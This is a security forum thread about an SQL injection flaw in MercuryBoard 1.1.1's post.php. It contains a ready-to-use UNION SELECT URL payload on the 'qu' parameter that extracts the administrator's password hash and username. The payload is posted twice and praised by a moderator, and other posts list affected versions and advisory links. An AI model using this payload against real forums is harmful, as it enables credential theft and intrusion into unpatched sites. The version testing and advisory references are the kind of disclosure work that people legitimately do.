Waraxe IT Security Portal

Zeelock · Active user

I saw that the released exploits didn't work.

This proof of concept do the job:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

The problem of previous exploit on the 't' variable was that the single value was used in multiple queries.

The one i found is on this piece of code in post.php:

--------[ Mercury 1.1.1 original code ]--------------

if (($s == 'reply') && isset($this->get['qu'])) {

$query = $this->db->fetch("SELECT p.post_text, m.user_name FROM {

$this->pre}posts p, {$this->pre}users m WHERE p.post_id={

$this->get['qu']} AND p.post_author=m.user_id");

--------[/Mercury 1.1.1 original code ]--------------

the nice thing is that injecting the q value permits to see data directly on the form metween quotes.

Notes:

Version 1.1.2 is already patched against this.

Zeelock

LINUX · Moderator

Zeelock · Active user

Argentino...!!!

That's my improvement... it works, just try it Very Happy

With this one you see the full hash and username of the admin.

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

The trick is in the "qu" variable. You'll see everything in the form

LINUX · Moderator

yes men very good work zeelock Very Happy

Lostmon · Regular user

hello !!

i?m currenly documenting this vuln and make probes in
mercuryboard 1.0.x and 1.1.x
any of this xploits working
but is shure what can inject sql commands...

have any more proof of concept ??

Thnx

Lostmon · Regular user

Oks

After making some several probes whith some versions
this is the result

Mercuryboard 1.1.2 Not Affected
Mercuryboard 1.1.0 Affected
Mercuryboard 1.0.1 Affected
Mercuryboard 1.0.2 Affected

thnx !!!!!

Zeelock · Active user

http://www.securityfocus.com/bid/12503

http://www.securityfocus.com/archive/1/389881